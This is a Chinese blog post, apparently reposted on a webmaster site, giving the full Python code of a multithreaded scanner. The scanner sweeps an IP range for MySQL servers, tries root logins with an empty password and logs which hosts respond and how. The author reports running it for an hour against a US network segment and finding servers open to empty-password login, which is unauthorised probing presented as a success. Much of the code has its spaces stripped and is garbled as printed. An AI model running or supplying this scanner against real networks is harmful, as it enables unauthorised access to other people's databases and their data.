| 
                         以下是此次的完整代码-4: 
- #!/usr/bin/envpython 
 - #coding=utf-8 
 - #author:Blus 
 - importMySQLdb 
 - importthreading 
 - importtime 
 - importIPy 
 - importsubprocess 
 -  
 - defmysql_connect1(ip): 
 -  
 - ifnot(ping_ip(ip)): 
 - #printip,"down" 
 - return 
 - else: 
 - #记录在线的ip 
 - ip_log("ip_up.txt",ip,"") 
 -  
 - #尝试数据库连接 
 - try: 
 - conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306) 
 - cur=conn.cursor() 
 -  
 - #记录开放3306端口的ip 
 - ip_log("port_connected.txt",ip,"") 
 -  
 - exceptMySQLdb.Error,e: 
 - e= str(e) 
 - #记录报错信息 
 - printe 
 -  
 - r1= e.find('Can't connect') #端口未开放Mysql_Error:2003: Can't connect to MySQL server on '35.164.6.48' (10060) 
 - r2= e.find('Access denied')  # 端口开放但密码错误 Mysql_Error:1045: Access denied for user 'root'@'localhost' (using password: YES) 
 - r3= e.find('not allowed') #端口只允许特定ip连接 Mysql_Error:1130: Host '172.17.14.2' is not allowed to connect to this MySQLserver 
 - #r3= e.find('Learn SQL!') #这限制特定了sql语句 
 -  
 - if(r1 != -1): 
 - #排除端口不开放的情况 
 - return 
 -  
 - elif(r2!= -1): 
 - #ip_log('port_opend.txt',ip,"密码错误") 
 - ip_log('port_opend.txt',ip,e) 
 -  
 - elif(r3!= -1): 
 - #ip_log('port_opend.txt',ip , "不允许该IP连接") 
 - ip_log('port_opend.txt',ip , e) 
 - else: 
 - #ip_log('port_opend.txt',ip, "其他错误") 
 - ip_log('port_opend.txt',ip, e) 
 -  
 - return 
 -  
 - defping_ip(ip): 
 - #调用ping命令,如果不通,则会返回100%丢包的信息。通过匹配是否有100%关键字,判断主机是否存活 
 -  
 - cmd= 'ping -w 1 %s' % ip 
 - p= subprocess.Popen(cmd, 
 - stdin=subprocess.PIPE, 
 - stdout=subprocess.PIPE, 
 - stderr=subprocess.PIPE, 
 - shell=True) 
 -  
 - result= p.stdout.read() 
 - regex= result.find('100%') 
 -  
 - #未匹配到就是-1,就是存活主机 
 - if(regex == -1): 
 - return1 
 - else: 
 - return0 
 -  
 - def ip_log(txt_name,ip,content): 
 - f1= open(txt_name, 'a') 
 - f1.write(ip+ " " + content + "rn") 
 - f1.close() 
 -  
 - if__name__ == "__main__": 
 -  
 - start= time.time() 
 -  
 - #设置同时运行的线程数 
 - threads=150 
 -  
 - #要检测的IP网段 
 - ip1= IPy.IP('192.168.0.0/16') 
 -  
 - forip in ip1:     
 - ip=str(ip) 
 - printip 
 -  
 - while(threading.activeCount()>threads): 
 - time.sleep(1) 
 - t1=threading.Thread(target=mysql_connect1,args=(ip,)) 
 - t1.start() 
 -  
 - #当线程只剩1时,说明执行完了 
 - while(threading.activeCount()!=1): 
 - time.sleep(5) 
 - print"检测结束" 
 
  
这里代码已经开始杂乱了,暂且放着。改完后测试扫描了米国某网段一个小时,发现现在竟然还有空密码连接的洞,可能是网段选得好吧,有大量的在线服务器。 
                        (编辑:91站长网) 
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! 
                     |